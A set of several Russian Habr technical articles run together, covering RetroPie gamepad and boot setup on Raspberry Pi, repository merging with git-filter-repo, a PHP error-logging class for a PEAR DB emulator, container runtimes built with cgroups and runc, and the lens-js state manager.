Отрисовка шейдеров довольно затратная операция. При разрешении равном и выше 720p на RPi 3B появляются довольно заметные подлагивания. Поэтому в этом же меню выберите *Render resolution* «800x600». Не волнуйтесь, если вы до этого делали изменения в файле */boot/config.txt*, как в этой статье чуть выше, то разрешение экрана по кабелю HDMI будет 1080p, но эмулятор будет рендерить картинку в 800x600 и растягивать на весь экран. И делает он это не плохо. По крайне мере, с шейдером лучше, чем без него, да и рендер в 1080p бесполезен, поскольку видеоданные игры всё равно нарисованы для разрешения 320x240.
**Настройка джойстиков**
Если у вас есть любой xinput геймпад (стандарт Micro$oft), он подойдет. Настраивается он при первом же запуске Retropie, либо через кнопку старт — Configure Input. Но и тут есть головная боль. Ушлые заокеанские ребята, чтобы не попадать на патентные судебные иски поменяли местами кнопки с A и B, X и Y.
Если у вас геймпад от xbox или аналогичный, то настраивать надо с перевернутыми кнопками, как на NES. Затем зайти в Retropie -> *Retropie Setup*, выбрать *Configuration / tools*, затем *emulationstation*, поставить в *Swap A/B Buttons in ES* «Swapped». Потом заново переконфигурируйте джойстик.
Также, мне не нравится, как разработчики Retropie распорядились кнопочным фондом. Где комбинация кнопок сделать скриншот? Зачем мне кнопка reset, если я на нее попадаю каждый раз? Где кнопки перемотки и ускорения времени?
Чтобы это исправить, нужно подредактировать файл с названием вашего джойстика в */opt/retropie/configs/all/retroarch-joypads/*. Также он доступен по сети *\\192.168.x.xxx\configs\all\retroarch-joypads\*. После каждого обновления Retropie через апдейтер, нумерация привязки слетает, поэтому я не буду выкладывать весь конфиг. Напишу, что изменил лишь эти кнопки. Они выполняются при нажатии одновременно с Hotkey-м, обычно это кнопка с логотипом, посередине джойстика.
**Button config**
```
input_screenshot_btn = "0"
input_rewind_btn = "h0left"
input_hold_fast_forward_btn = "h0right"
input_state_slot_increase_btn = "h0up"
input_state_slot_decrease_btn = "h0down"
```
Здесь кнопка скриншотов назначена вместо reset. Fast forvard и rewind (перемотка назад) настроены на кнопки крестовины: вперед и назад. Кнопки крестовины вверх и вниз изменяют слот сохранения.
Rewind надо включить в конфиге */opt/retropie/configs/all/retroarch.cfg*. Только не включайте Rewind на эмуляторе psx, всё начинает дико тормозить. Перемотка назад, по-умолчанию, отключена в конфиге psx.
Еще хочется добавить про Bluetooth. Сам я беспроводные джойстики не люблю и играю всегда с кабелем. Старая школа еще. Для любителей беспроводных джойстиков надо приобрести Bluetooth донгл и вставить в USB порт. Так будет лучше и никаких проблем не будет. Сам я не проверял, но знающие люди пишут.
### Xboxdrv
Но и это еще не всё. В *Retropie Setup* в менеджере пакетов можно поставить различные порты, например Openttd, Doom или вообще DOS эмулятор Dosbox. Но управлять в них джойстиком не получится. Только клавиатурой и мышкой. Чтобы это исправить, нужно поставить в менеджере пакетов драйвер xboxdrv, который умеет эмулировать нажатия клавиатуры. Просто поставить из исходников, автозапуск делать не нужно, он не подходит под все джойстики.
Скрипт запуска напишем сами под наш геймпад. Добавим в */opt/retropie/configs/all/runcommand-onstart.sh* следующие строки в конец файла.
**runcommand-onstart.sh**
```
# xboxdrv
sudo killall > /dev/null 2>&1 xboxdrv
if [ "$1" = "pc" ] || [ "$1" = "openttd" ] || [ "$1" = "doom" ] || [ "$1" = "kodi" ];
then
sudo /opt/retropie/supplementary/xboxdrv/bin/xboxdrv > /dev/shm/runcommand.log 2>&1 \
--evdev /dev/input/event0 \
--silent \
--detach-kernel-driver \
--force-feedback \
--mimic-xpad \
--trigger-as-button \
--evdev-no-grab \
--evdev-absmap ABS_X=x1,ABS_Y=y1,ABS_RX=x2,ABS_RY=y2,ABS_HAT0X=dpad_x,ABS_HAT0Y=dpad_y \
--evdev-keymap KEY_#304=a,KEY_#305=b,KEY_#307=x,KEY_#308=y,KEY_#312=lt,KEY_#313=rt,KEY_#310=lb,KEY_#311=rb,KEY_#317=tl,KEY_#318=tr,KEY_#314=back,KEY_#315=start,KEY_#316=guide \
--axismap -Y1^deadzone:3000=Y1,-Y2^deadzone:3000=Y2 \
--ui-axismap x2^deadzone:3000=KEY_LEFT:KEY_RIGHT,y2=KEY_UP:KEY_DOWN \
--ui-axismap x1^deadzone:3000=REL_X:06,y1=REL_Y:06 \
--ui-axismap dpad_x^deadzone:0=KEY_LEFT:KEY_RIGHT,dpad_y^deadzone:0=KEY_UP:KEY_DOWN \
--ui-buttonmap rt=BTN_LEFT,lt=BTN_RIGHT,start=KEY_ENTER,back=KEY_ESC,tl=KEY_4,tr=KEY_5,lb=KEY_2,rb=KEY_3,a=KEY_SPACE,b=KEY_M,x=KEY_3,y=KEY_LEFTCTRL,guide=KEY_Y \
&
fi
```
Здесь $1 — наша целевая система, при которой запускается xboxdrv. Можно добавлять по аналогии. Строки --evdev-absmap --evdev-keymap отвечают за привязку осей и кнопок к вашему джойстику. Скрипт выше дан для контроллера Xbox One S. Чтобы узнать какая ось и кнопка соответствуют номеру или названию вашего джойстика, нужно в консоли набрать команду *evtest*. Заодно можно посмотреть какой event соответствует нашему джойстику. У меня это /dev/input/event0 который стоит в параметре --evdev.
Параметры --ui-axismap эмулируют оси мыши, а --ui-buttonmap кнопки клавиатуры. В данном примере курки — это кнопки мыши, левый стик — мышь, правый стик — курсорные клавиши. Старт, селект — enter и esc, соответственно. На остальные кнопки привязаны цифры клавиатуры. Задействовать крестовину под кнопки клавиатуры, к сожалению, не удалось. Почему-то на джойстике Xbox One S отказывается работать.
С таким конфигом отлично играются стратегии, наподобие Theme Hospital, OpenTTD и пр. Чуть хуже играется в шутеры, но вы можете создать аналогичные скрипты запуска под шутеры в этом же файле, меняя там параметр $1.
Чтобы обеспечить нормальную работу джойстика в emulationstation, нужно завершить xboxdrv после выхода из игры. Для этого в конец файла */opt/retropie/configs/all/runcommand-onend.sh* добавляем следующее.
**runcommand-onend.sh**
```
sudo killall > /dev/null 2>&1 xboxdrv
```
**Если при обновлении Retropie что-то пошло не так**
Однажды, я запустил обновление Retropie и при распаковке ядра отвалился встроенный Wi-Fi. Устройство загружалось, но не реагировало ни на какие кнопки, в том числе на подключенной клавиатуре. SSH нет, так как нет Wi-Fi, на клавиатуру не реагирует, а SD карточку не достать…
Заметил, что клавиатура работает при загрузке. Понажимал много раз ctrl+c и, о, консоль! Но как теперь восстановить Wi-Fi? Интерфейс wlan0 отсутствовал от слова совсем. Запуск апдейтера не помог, поскольку он подтягивает файлы с интернета.
Первым делом в /opt/retropie/configs/all/autostart.sh закомментировал запуск emulationstation и перезагрузился. После перезапуска загружается консоль, клавиатура работает. Дальнейшее гугление, как вернуть wlan дало вот это. Команда переконфигурирует все установленные пакеты. Помогло.
```
sudo dpkg --configure -a
```
**Чтобы Retropie выглядел не как Linux станция**
При загрузке приставки мне не хочется смотреть на лог загрузки Linux. Он портит весь дух приставок девяностых.
**Чтобы убрать лог загрузки Linux**
Чтобы убрать лог загрузки Linux, нужно привести файл */boot/cmdline.txt* к такому виду. Всё в одну строку.
**cmdline.txt**
```
dwc_otg.lpm_enable=0 console=tty3 root=PARTUUID=f2d3cb4f-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait loglevel=3 consoleblank=0 plymouth.enable=0 quiet vt.global_cursor_default=0 plymouth.enable=0 plymouth.ignore-serial-consoles splash
```
Кратко, конфиг убирает лого, выводит сообщения в другую консоль, убирает мигающий курсор.
Затем убираем весь текст в motd.
```
nano /etc/motd
```
Убираем автологин текст.
```
sudo nano /etc/systemd/system/autologin@.service
```
Нужно в этом файле изменить строку
```
ExecStart=-/sbin/agetty --autologin pi --noclear %I $TERM
```
На
```
ExecStart=-/sbin/agetty --skip-login --noclear --noissue --login-options "-f pi" %I $TERM
```
Более подробно про это написано [здесь](https://retropie.org.uk/docs/FAQ/#how-do-i-hide-the-boot-text).
Также, при загрузке системы можно вывести свое фото — splashscreen. Можно и несколько, они будут сменять друг друга со временем. Нужно положить свои картинки в папку в сети \\192.168.x.xxx\splashscreens, и выбрать их в меню Retropie -> *SPLASH SCREEN* -> *Append Splashscreen to list*.
Мне, например, безумно нравится вот эта картинка.
Также в Retropie установлен runcommand, который при запуске игры выводит консольный обрезок с предложением нажатия клавиши. Этот экран можно заменить на милые картиночки игровых приставок.
Подробная инструкция, как это сделать, написана [здесь](https://retropie.org.uk/forum/topic/4611/runcommand-system-splashscreens).
### Что еще можно сделать
Улучшать можно бесконечно. Приведу еще пару ссылок, что можно сделать. Пишите еще интересные штуки, которые можно добавить. Спасибо за внимание.
* Установить [dosbox](https://retropie.org.uk/docs/PC/) и различные [порты](https://retropie.org.uk/docs/Ports/).
* [Поставить различные темы emulationstation.](https://retropie.org.uk/docs/Themes/)
* [Расшарить папку скриншотов.](https://raspberrypihq.com/how-to-share-a-folder-with-a-windows-computer-from-a-raspberry-pi/)
* [Установить веб-браузер.](https://github.com/zerojay/RetroPie-Extra)
* [Установить веб-менеджер Retropie](https://www.youtube.com/watch?v=DgQDg6SzBDg)
* [Слинковать Raspberry Pi со Steam основного компьютера.](https://www.youtube.com/watch?v=xK5Nqsl6R1Q)
* [Установить Brutal Doom, наконец.](https://www.youtube.com/watch?v=zphvglmW0NQ)
Он того стоит. | https://habr.com/ru/post/422005/ | null | ru | null |
# Нетривиальное слияние репозиториев с помощью git-filter-repo
Это вторая часть [истории про слияние репозиториев](https://habr.com/ru/post/522942/). Суть проблемы вкратце такова: надо слить репозиторий с подрепозиторием с сохранением истории. Решение на gitpython работало за 6 часов и выдавало удовлетворительный результат. Но переизбыток свободного времени и ~~гвоздь в жопе~~ врождённая любознательность привели меня к знакомству с волшебным миром [git-filter-repo](https://github.com/newren/git-filter-repo).
### Что такое git-filter-repo?
Это замечательная программа, которая вызывает `git fast-export` с одной стороны, `git fast-import` с другой стороны, а между ними позволяет делать всякую фильтрацию. `git fast-export`, в свою очередь, просто берёт все объекты git-репозитория (а git-репозиторий представляет из себя не более чем объектную базу данных с объектами фиксированного вида) и печатает их текстом в стандартный вывод, так, чтобы для любого объекта Х, все объекты на который он ссылается выводились раньше самого объекта Х. `git fast-import`, как не трудно догадаться, делает обратную операцию: берёт эту простыню и раскидывает по файлам в папке .git.
### Последствия написания статей
Написав прошлую статью, я понял, что всё это построение подграфа — лишняя операция. Ведь место, куда вставляются коммиты из secondary-репозитория очень легко найти: это те коммиты, где меняется файл secondary.version. Причём диапазон secondary коммитов считается как список (secondary.version до изменения)..(secondary.version после изменения). И, соответственно, можно просто бежать по графу коммитов и сразу делать необходимые операции. Переписав скрипт с учётом этого знания, удалось сократить время работы до примерно 3-х часов. Но, и это не предел. Ведь теперь коммиты оригинального репозитория обрабатываются все подряд линейно, то есть именно так, как их выводит `git fast-export`. А значит, можно использовать git-filter-repo.
### Не только приложение
Очень быстро выяснилось, что использовать `git filter-repo`, как приложение не получится. Дело в том, что такой режим годится только для относительно простой фильтрации без состояния. Либо надо делать какие-то зубодробительные коллбеки с сохранением состояния бог знает где. Истинно, это не путь Дао. Однако, мудрый автор `git filter-repo` предусмотрел использование его как библиотеки. Библиотека состоит преимущественно из класса FastExportParser, который из вывода `git fast-export` создаёт объекты соответствующих классов (Blob, Commit и т.д.), каждый из которых имеет метод dump() для форматирования в вид приемлемый для `git fast-import`.
### Итого
Берём класс RepoFilter как пример, создаём вход (`git fast-export`) и выход (`git fast-import`) для FastExportParser'а.
```
fep_cmd = ['git', '-C', args.source, 'fast-export', '--show-original-ids', '--progress=128'
, '--signed-tags=strip', '--tag-of-filtered-object=rewrite', '--mark-tags'
, '--fake-missing-tagger', '--reference-excluded-parents', '--all']
fep = subproc.Popen(fep_cmd, bufsize=-1, stdout=subproc.PIPE)
inpt = fep.stdout
fip_cmd = ['git', '-C', args.target, '-c', 'core.ignorecase=false'
, 'fast-import', '--force']
fip = subproc.Popen(fip_cmd, bufsize=-1, stdin=subproc.PIPE, stdout=subproc.PIPE)
otpt = fip.stdin
processor = Processor(args.source, args.secondary, otpt, fip.stdout)
parser = gfr.FastExportParser(blob_callback = processor.blob_callback
, commit_callback = processor.commit_callback
, progress_callback = processor.progress_cb)
parser.run(inpt, otpt)
otpt.close()
inpt.close()
```
И пишем класс `Processor` c необходимыми коллбеками. Самый главный коллбек — коммитный. Там как раз и обнаруживается что конкретный коммит меняет secondary.version. Что, кстати, теперь намного проще сделать, так как `git fast-export` сразу выдаёт только те файлы которые поменялись в конкретном коммите. После того, как изменение обнаружено, запускается новый `git fast-export` с новым экземпляром FastExportParser'а, который забирает коммиты уже из secondary репозитория, проводит с ними минимальную работу и пишет в тот же самый поток `git fast-import`. Причём, многие блобы попадают в git fast-import по многу раз, но это не причиняет никаких неудобств, ведь все объекты git адресуются своими хэшами, и, соответсвенно, добавление объекта во второй раз не меняет репозиторий (такие операции называются идемпотентными). Класс Commit и коммитный коллбек выглядит вот так.
```
class Commit(_GitElementWithId):
"""
This class defines our representation of commit elements. Commit elements
contain all the information associated with a commit.
"""
def __init__(self, branch,
author_name, author_email, author_date,
committer_name, committer_email, committer_date,
message,
file_changes,
parents,
original_id = None,
encoding = None, # encoding for message; None implies UTF-8
**kwargs):
pass
class Processor :
def process_commit(self, commit) :
idx = len(commit.file_changes)
commit.message = self.message_reformat(commit.message)
while idx > 0 :
idx -= 1
fc = commit.file_changes[idx]
if fc.type == b'M' :
process_meth = self.MAP.get(fc.filename)
if process_meth is not None:
commit.file_changes.pop(idx)
process_meth(commit, fc)
```
Как видите, process\_commit вызывает методы, в зависимости от имени файла. Метод для secondary.version:
```
def process_secondary_version(self, commit) :
parent = commit.original_id.decode('ascii')
res = subproc.run(['git', '-C', self.prepo, 'cat-file'
, 'blob', f'{parent}^:secondary.version']
, capture_output = True)
hsh_from = res.stdout[:40].decode('ascii')
if len(hsh_from) < 40 :
sr_range = f'{hsh}^!'
else :
sr_range = f'{hsh_from}..{hsh}'
self.sub_parsed = False
self.super_commit = commit
self.sub_top_hsh = hsh.encode('ascii')
sub_fep_cmd = ['git', '-C', self.srepo, 'fast-export', '--show-original-ids'
, '--signed-tags=strip', '--tag-of-filtered-object=drop'
, '--import-marks=secondary.marks'
, sr_range]
sub_fep = subproc.Popen(sub_fep_cmd, bufsize=-1, stdout=subproc.PIPE)
self.sub_parser.run(sub_fep.stdout, self.output)
sub_fep.stdout.close()
```
### Эпилог
Новая реализация работает за 10 минут вместо 6-и часов. Мораль: правильные алгоритмы, это конечно хорошо, но лучшие инструменты дают лучшие результаты. | https://habr.com/ru/post/566034/ | null | ru | null |
# Эмулируем PEAR DB при работе с MySQL
В своё время возникла необходимость уйти от использования PEAR DB при работе с MySQL (ввиду очевидных причин: прекращение поддержки в последних версиях php, тормознутость итп) но учитывая мегатонны написанного кода начал искать эмулятор. К своему удивлению ничего более менее годного не нашел. Пришлость потратить немного время и нарисовать свой.
В классе реализовывал только те части что использовались в проектах (скорее всего в 99% случаев остальным этого тоже хватит) кому не хватит, думаю, не составит труда дополнить/подправить самим. Поскольку проекты для которых это делалось были давно завершены то дальнейшего развития этот код не получил. Но если кто то что то дополнит или исправит буду не против.
Эмулятор состоит из 2х частей, класса обработки ошибок с возможностью записи их в лог и наследуемого от него класса эмулятора PEAR DB.
Код был успешно протестирован на 2х проектах. Безусловно в коде можно много ещё чего исправить и дополнить но воспринимайте его как начальную точку от которой можно двигаться дальше. Дополнения и правки пожалуйста в личку, на своё усмотрение буду их вносить в исходники.
Надеюсь кому то это пригодится и просьба сильно не пинать, как всё что делается задним числом для того что уже давно пройдено код страдает своими очевидными недостатками. Выкладывая его сюда просто хочу помочь съеэкономить кому то время а не похвастаться его красотой.
Далее по делу:
Класс ошибок:
```
php
/*
* Class: Error
* Progr.: Mikhail Tchervonenko
* Data: 2009-03-04
* EMail: rusmikleATgmailPointCom
* ICQ: 35818796
* Skype: RusMikle
*/
class ERROR
{
var $show_errors =false;
var $stop_after_error =false;
var $error =0;
var $error_message ="";
var $error_messages =false;
var $error_backtrase =false;
var $error_filename = 'error_log/error_log.txt';
// ***********************************
// ***** err_log function start
function err_log($error_text="",$error_backtrase=false)
{
$this-error=1;
$this->error_backtrase = $error_backtrase;
$error_backtrase = $this->backtrace()."\n\r";
$this->error_message = "-----".date("D M j G:i:s T Y").$error_text;
if (is_writable($this->error_filename))
{
if (!$handle = fopen($this->error_filename, 'a'))
{
$ret = false;
}
if (fwrite($handle, "\n\r------\n\r".$this->error_message.$error_backtrase."\n\r-------\n\r") === FALSE)
{
$ret = false;
}
fclose($handle);
$ret = true;
}
if($this->error_backtrase)
$this->error_message .= "\n\r".$error_backtrase;
$this->error_messages[] = $this->error_message;
if($this->show_errors)
echo str_replace("\n\r","
",$this->error_message);
if($this->stop_after_error)
exit();
return $ret;
}
// ***********************************
// ***** backtrace function start
function backtrace()
{
$output = "\n\r";
$output .= "Backtrace:\n\r";
$backtrace = debug_backtrace();
foreach ($backtrace as $bt)
{
$args = '';
foreach ($bt['args'] as $a)
{
if (!empty($args))
{
$args .= ', ';
}
switch (gettype($a))
{
case 'integer':
case 'double':
$args .= $a;
break;
case 'string':
$a = substr($a, 0, 64).((strlen($a) > 64) ? '...' : '');
$args .= "\"$a\"";
break;
case 'array':
$args .= 'Array('.count($a).')';
break;
case 'object':
$args .= 'Object('.get_class($a).')';
break;
case 'resource':
$args .= 'Resource('.strstr($a, '#').')';
break;
case 'boolean':
$args .= $a ? 'True' : 'False';
break;
case 'NULL':
$args .= 'Null';
break;
default:
$args .= 'Unknown';
}
}
$output .= "\n\r";
$output .= "file: {$bt['line']} - {$bt['file']}\n\r";
$output .= "call: {$bt['class']}{$bt['type']}{$bt['function']}($args)\n\r";
}
$output .= "\n\r";
return $output;
}
// ***********************************
// ***** getMessage function start
function getMessage()
{
return $this->error_message;
}
}
?>
``` | https://habr.com/ru/post/135654/ | null | ru | null |
# Среды запуска контейнеров (container runtime) часть2: Анатомия низкоуровневых сред запуска
### От переводчика
Это перевод статьи [ссылка](https://www.ianlewis.org/en/container-runtimes-part-2-anatomy-low-level-contai)
Автор оригинальной статьи: [*Ian Lewis*](https://www.ianlewis.org/en/about/)*.*
Ссылка на первую [часть](https://habr.com/ru/post/350446/)
Ссылка на тетью [часть](https://habr.com/ru/post/650287/)
Это вторая часть из четырех статей о средах запуска контейнеров. В первой части я сделал общий обзор и рассказал о различиях между низкоуровневыми и высокоуровневыми средами. В этой статье мы погрузимся в детали низкоуровневых сред.
Низкоуровневые среды имеют ограниченный набор функций и обычно выполняют базовые задачи по запуску контейнеров. С такими средами разработчики не сталкиваются в повседневной работе. Low-level runtime представляют собой простой набор утилит и библиотек. Хоть большинство разработчиков не использует данные инструменты, но их полено знать и то как они работают, чтобы уметь траблшутить неполадки.
В первой части я рассказывал, на основе чего создаются контейнеры: это Linux namespaces и cgroup. Неймспейсы позволяют виртуализировать системные ресурсы такие как файловая система или сеть для каждого контейнера. С другой стороны есть cgroup, который контролирует и ограничивает системные ресурсы – CPU и память, разделяя их между контейнерами. По своей сути, низкоуровневые среды отвечают за настройку неймспейсов, разделения ресурсов между контейнерами, и выполнения команд внутри неймспейсов. У большинства сред существуют и другие особенности, но выше перечисленные являются основными функциями. Обязательно ознакомьтесь с крутым материалом [Building a container from scratch in Go](https://www.youtube.com/watch?v=Utf-A4rODH8) Liz Rice. Она очень классно объясняет, как реализованы Low-level среды. Лиз пошагово рассказывает про самые базовые вещи, которые должен выполнять container runtime, к ним относятся:
* Создание cgroup;
* Запуск команд в cgroup;
* Разделить пространство имен;
* Очистить cgroup после выполнения команд (namespaces удаляются автоматически, когда на него не ссылается никакой активный процесс).
Серьезная низкоуровневая среда запуска умеет еще много
чего, например, настройку лимитов ресурсов в cgroup, настройка
корневой файловой системы, и привязку к ней процесса
#### Создание простейшего Runtime
Давайте пробежимся через простые ad hoc команды для создания контейнера. Мы можем воспроизвести шаги, использующиеся стандартными линукс командами: [cgcreate](https://linux.die.net/man/1/cgcreate), [cgset](https://linux.die.net/man/1/cgset), [cgexec](https://linux.die.net/man/1/cgexec), [chroot](http://man7.org/linux/man-pages/man2/chroot.2.html) и [unshare](http://man7.org/linux/man-pages/man1/unshare.1.html). Вам необходимо запускать команды с привилегиями рута.
Сперва давайте настроем корневую файловую систему для нашего контейнера. Мы будем использовать busybox Docker контейнер как основу. Тут мы создадим временную директорию и распакуем busybox. Большинству команд нужны привилегии рута.
```
$ CID=$(docker create busybox)
$ ROOTFS=$(mktemp -d)
$ docker export $CID | tar -xf - -C $ROOTFS
```
Теперь давайте создадим наши cgroup и настроим ограничения памяти и CPU. Лимит памяти настраивается в bytes. Тут мы задаем лимит нашему контейнеру в 100 МВ.
```
$ UUID=$(uuidgen)
$ cgcreate -g cpu,memory:$UUID
$ cgset -r memory.limit_in_bytes=100000000 $UUID
$ cgset -r cpu.shares=512 $UUID
```
Настройку CPU можно сделать двумя способами. Мы можем задать лимит используя “shares”. Шары — это количество процессорного времени по отношению к другим запущенным процессам. Контейнеры работают сами по себе и могут использовать весь CPU, но если запущены другие контейнеры, то им выделяется процессорное время пропорционально заданным их CPU shares.
Лимиты основанные на ядрах немного сложнее. Они задают жесткий лимит на процессорные ядра, которые может использовать контейнер. В таком типе лимитов есть две важные настройки: cfs\_period\_us и cfs\_quota\_us. cfs\_period\_us отвечает за частоту проверки процессора, а cfs\_quota\_us нужна для обозначения времени, в течении которого задача может выполнятся в ядре за один период. Параметры задаются в миллисекундах.
К примеру, мы хотим установить лимит для нашего контейнера в два ядра, то мы должны установить период равный одной секунде, и квоту в две секунды (одна секунда равна 1000000 мили секунд) эти настройки позволят нашему контейнеру использовать два ядра на протяжении одной секунды. В этой статье подробно объясняется механизм [работы](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/resource_management_guide/sec-cpu).
```
$ cgset -r cpu.cfs_period_us=1000000 $UUID
$ cgset -r cpu.cfs_quota_us=2000000 $UUID
```
Следующим шагом мы можем выполнить команду внутри контейнера. Запустим команду внутри, созданного нами cgroup, изолируем пространство имен, задами hostname, и сменим нашу файловую систему.
```
$ cgexec -g cpu,memory:$UUID \
> unshare -uinpUrf --mount-proc \
> sh -c "/bin/hostname $UUID && chroot $ROOTFS /bin/sh"
/ # echo "Hello from in a container"
Hello from in a container
/ # exit
```
После выполнения команды, мы можем очистить все просто удалив cgroup и временную директорию.
```
$ cgdelete -r -g cpu,memory:$UUID
$ rm -r $ROOTFS
```
В будущем посмотрим, как это работает, я написал простой runtime на баше и назвал его [execc](https://github.com/ianlewis/execc). Он поддерживает монтирование, создание пользователей, pid, ipc, uts и сеть в неймспейсе; настройку памяти, лимиты CPU по количеству ядер, монтирование файловой системы proc и запуск контейнера в собственной файловой системе.
Обзор низкоуровневых сред запуска
---------------------------------
Лучший способ узнать как это все работает это посмотреть несколько примеров существующих систем. Эти среды запуска имеют свои особенности и подчёркивают разные аспекты контейнеризации.
IMCTFY
Это проект Гугла, хотя и широкого распространения он не получил. IMCTFY основан на другой среде запуска – [Borg](https://research.google/pubs/pub43438/). Одна из самых интересных фич это поддержка иерархии контейнеров. К примеру, корневой контейнер имеет имя “busybox”, который создал саб контейнер с именем “ busybox/sub1” или “ busybox/sub2” где имена создают своего рода пути. В результате каждый дочерний контейнер имеет собственный cgroup, который лимитирован cgroup родителя. Эта особенность Borg дает возможность контейнерам IMCTFY создавать дочерние контейнеры в соответствии с предварительно выделенными ресурсами на сервере, и таким образом мы получаем более жесткий SLO, чем мог быть предоставлен самим рантаймом.
IMCTFY поддерживает еще несколько интересных особенностей и идей, но другие среды были более юзабельные, поэтому Гугл решил, что сообществу стоит сосредоточится на работу с Docker libcontainer чем над IMCTFY.
RUNC
Runc в настоящее время является самой популярной средой. Первоначально она была разработана как часть Docker, но позже отделился от проекта.
Runc запускает контейнеры также как я описал это выше, но он делает это по стандарту OCI. Это означает, что контейнеры запускаются по спецификацйии “OCI bundle format”. Этот формат содержит файл config.json для конфигурации и файловую системы для контейнера. Вы можете подробнее ознакомится со стандартом [тут](https://github.com/opencontainers/runtime-spec). И тут как установить [runc](https://github.com/opencontainers/runc).
Сначала создадим файловую систему, используем все тот же busybox:
```
$ mkdir rootfs
$ docker export $(docker create busybox) | tar -xf - -C rootfs
```
Следующим шагом создадим файл с настройками.
```
$ runc spec
```
Эта команда создаст шаблон файла, он выглядит так:
```
$ cat config.json
{
"ociVersion": "1.0.0",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"sh"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"TERM=xterm"
],
"cwd": "/",
"capabilities": {
...
```
По умолчанию, это запускает sh команду в контейнере с корневой файловой системе ./rootfs. Теперь мы можем просто запустить контейнер.
```
$ sudo runc run mycontainerid
/ # echo "Hello from in a container"
Hello from in a container
```
RKT
Rkt это популярная альтернатива Docker/runc созданная разработчиками CoreOS. Rkt сложно отнести к low-level runtime, т.к. кроме основных функций низкоуровневых сред у нее есть и функции high-level сред запуска. Я расскажу про , базовые функции rkt а высокоуровневые оставим для следующей статьи.
Rkt использует appc стандарт, который был создан как альтернатива Docker формату. Appc так и не получил широкого распространения и в данный момент активно не развивается, но он достиг своих целей – обеспечить открытом стандартом все сообщество. Вместо appc rkt в будущем будет использовать формат OCI.
Application Container Image (ACI) – это стандарт образа стандарта appc. Образ в архиве tar.gz содержит manifest и rootfs директории в корневой файловой системе. Прочитать подробнее можно [тут](https://github.com/appc/spec/blob/master/spec/aci.md).
Вы можете собрать образ контейнера при помощи инструмента acbuild. Аcbuild очень похож на Dockerfile, можно использовать в терминале.
```
acbuild begin
acbuild set-name example.com/hello
acbuild dep add quay.io/coreos/alpine-sh
acbuild copy hello /bin/hello
acbuild set-exec /bin/hello
acbuild port add www tcp 5000
acbuild label add version 0.0.1
acbuild label add arch amd64
acbuild label add os linux
acbuild annotation add authors "Carly Container "
acbuild write hello-0.0.1-linux-amd64.aci
acbuild end
```
Adiós!
------
Я надеюсь, что эта статья поможет вам понять, что такие низкоуровневые среды. Большинство людей использует высокоуровневые среды, и это круто знать и понимать, как работает ваш инструмент внутри. Такие знания помогут искать и исправлять проблемы.
В следующем посте мы поговорим о высокоуровневых средах выполнения. Я расскажу, что это такое, и почему они лучше подходят для разработчиков приложений. Мы также поговорим о популярных средах таких как, Docker и rkt фичах high-level. Обязательно добавь мой RSS канал или подпишетесь в [твиторе](https://twitter.com/IanMLewis), чтобы получать уведомление о новых постах.
* Отправляя и отвечая на вопросы на [Stack Overflow](http://stackoverflow.com/questions/tagged/kubernetes)
* Подписавшись на Twitter [@Kubernetesio](https://twitter.com/kubernetesio)
* Присоединившись к Kubernetes [Slack](http://slack.k8s.io/) и общаясь с нами. (Я ianlewis так что скажи «Привет»!)
* Сделав вклад в Kubernetes на [GitHub](https://github.com/kubernetes/kubernetes)
* *Спасибо*[*Craig Box*](https://twitter.com/craigbox)*, Jack Wilbur, Philip Mallory,*[*David Gageot*](https://twitter.com/dgageot)*, Jonathan MacMillan, and*[*Maya Kaczorowski*](https://twitter.com/MayaKaczorowski) *за проверку черновиков этого поста.* | https://habr.com/ru/post/649981/ | null | ru | null |
# Lens JS как менеджер состояния приложения
Обзор библиотеки [lens-js](https://www.npmjs.com/package/@vovikilelik/lens-js) и эксперименты с котиками.
Данные — это, в действительности, важная часть Вашего будущего приложения или отдельной библиотеки. Важна их структура, целостность, а также и подходы к организации их хранения и обработки. Задача, прямо скажем, не тривиальна, особенно в масштабах корпоративных проектов. Одно из решений — использование менеджера состояния, об одном из которых, тут пойдёт речь.
Линзы
-----
И так, что же такое «Линзы»? Проще всего ответить тезисно - линзы это:
* принцип организации работы с данными, где те квантуются по отдельным узлам в одном большом направленном графе;
* агрегатор (редьюсер), который занимается сборкой всех отдельных квантов по всем правилам функциональной парадигмы;
* интерфейс, который обеспечивает доступ к данным каждого кванта;
* и последнее, линза обеспечивает целостность данных и их актуальность в Вашем приложении.
> *Тут вот стоит отметить, что мы ещё не говорим о как-либо реализации. Линза — это не детерминированная библиотека. Реализаций линз — множество. Попробуйте их все!*
>
>
Как это всё работает?
---------------------
Линза представляет собой структуру (направленный граф) из множества контроллеров (узлов), за каждым из которых закреплён адрес в неких данных. Все контроллеры могут что-то записывать и считывать по своему адресу, а также взаимодействовать между собой, воссоздавая конечное состояние приложения.
Чем объяснять на пальцах, гораздо проще сделать это на каком-нибудь примере. Будем экспериментировать на котиках. Не волнуйтесь! Ни один котик не пострадает!
> *Следующие примеры взяты из проекта* [*react-lens-cats*](http://git.vovikilelik.com/Clu/react-lens-cats)*, разработанного на основе линз. В нём используется библиотека —* [*react-lens*](https://www.npmjs.com/package/@vovikilelik/react-lens)*.*
>
>
Давайте представим, что несколько котиков решили прокатиться на карусели. Нам нужно организовать их очередь и распределить занятые места между ними. Формально это означает следующее:
* Нужно реализовать два массива, между которыми котики будут перемещаться.
* Нужно отследить изменение в данных, чтобы наше приложение могло корректно отобразить актуальное состояние.
Пусть структура данных выглядит следующим образом:
```
export interface Cat {
name: string;
}
export interface Queue {
cats: Cat[]
}
export interface Store {
street: Queue;
circle: Queue;
}
```
Давайте создадим наше состояние и объявим линзу в файле `lens.ts`
```
import { Lens } from '@vovikilelik/react-ts';
// Это наши котики
const murzic: Cat = { name: 'Murzic' };
const pushok: Cat = { name: 'Pushok' };
const sedric: Cat = { name: 'Sedric' };
const rizhik: Cat = { name: 'Rizhik' };
// Это наши данные, к которым будет обращаться линза
const store: {lens: Store} = {
lens: {
street: { cats: [murzic, pushok, sedric, rizhik] },
circle: { cats: [] }
}
};
// Это сама линза
export const lens = new Lens(
() => store.lens,
(value, effect) => { store.lens = value; }
);
```
